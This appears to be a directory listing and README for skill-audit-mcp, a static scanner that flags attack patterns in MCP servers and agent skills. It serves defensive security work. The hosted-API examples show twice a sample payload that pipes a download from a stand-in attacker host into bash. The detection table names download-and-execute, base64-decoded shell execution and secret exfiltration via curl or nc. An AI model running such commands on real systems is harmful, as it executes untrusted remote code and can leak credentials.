mcpField
S
skill-audit-mcp

skill-audit-mcp

Remote
github.com/eltociearSecurity5Updated 4w ago
Repository

About skill-audit-mcp

skill-audit-mcp is a static security scanner for MCP servers, agent skills, and plugins, aimed at security engineers and development teams. It detects attack patterns in code and instruction files and can produce SARIF for GitHub Code Scanning.

Key features

  1. 01Detects 17 attack patterns
  2. 02Covers four severity levels
  3. 03Scans code and agent instruction files
  4. 04Outputs JSON and SARIF
  5. 05Available as CLI, GitHub Action, and MCP server

Use cases

  1. 01Scan pull requests in CI
  2. 02Check an MCP server or skills directory
  3. 03Upload findings to GitHub Code Scanning

MCP support

The MCP server exposes security-scanning tools that MCP clients can use to submit content for auditing.

Configuration

Remote servers need no local install. Pick your client, then copy the config or install in one click.

Endpointhttps://eltociear-skill-audit.hf.space/mcp
Copy install command
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

Run commands in a terminal; paste JSON into the client’s MCP config and restart. Servers that need sign-in will prompt on first connect.

Packages
ocighcr.io/eltociear/skill-audit-mcp:mcp-1.2.0

Tools

11

This tool takes no parameters.

Details

From the project README

skill-audit-mcp

smithery badge MCP Registry

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

Glama MCP server GitHub Action Docker License: MIT Attack patterns Scanned

⚡ Try it in 30 seconds

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp

python3 cli.py --path ./server.py                  # scan a file
python3 cli.py --path ./some-skill/                # scan a directory
python3 cli.py --path . --json                     # JSON output
python3 cli.py --path . --sarif results.sarif      # SARIF output
python3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

{
  "skill-audit-mcp": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

SeverityPatterns
CRITICALDownload & execute (incl. base64 -d | sh), credential exfiltration (incl. a secret file handed to curl/nc), key generation, sensitive directory write, seed phrase harvesting
HIGHArbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUMPrivilege escalation (world-writable modes, elevated-access requests), obfuscation
INFOExternal downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

LayerServerDetects
Behaviorsskill-audit-mcp (this)curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secretssecrets-audit-mcpleaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --min-severity MEDIUM --fail-on HIGH

# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

repos:
  - repo: https://github.com/eltociear/skill-audit-mcp
    rev: v1.2.0
    hooks:
      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

TierPriceDeliverable
Spot scan$500Full repo scan + 1-page risk report with prioritized fixes
Standard$2,000Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement$5,000+Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: [email protected] (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

Star History Chart

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.

Comments

Markdown supported

New to MCP?

From what the protocol is to installing your first server, these answers cover most first questions.

An open protocol that defines how AI applications connect to external tools and data in a uniform way. Clients talk to the model; MCP servers provide tools, resources and prompt templates. They exchange standard messages, so one server can be reused by many clients.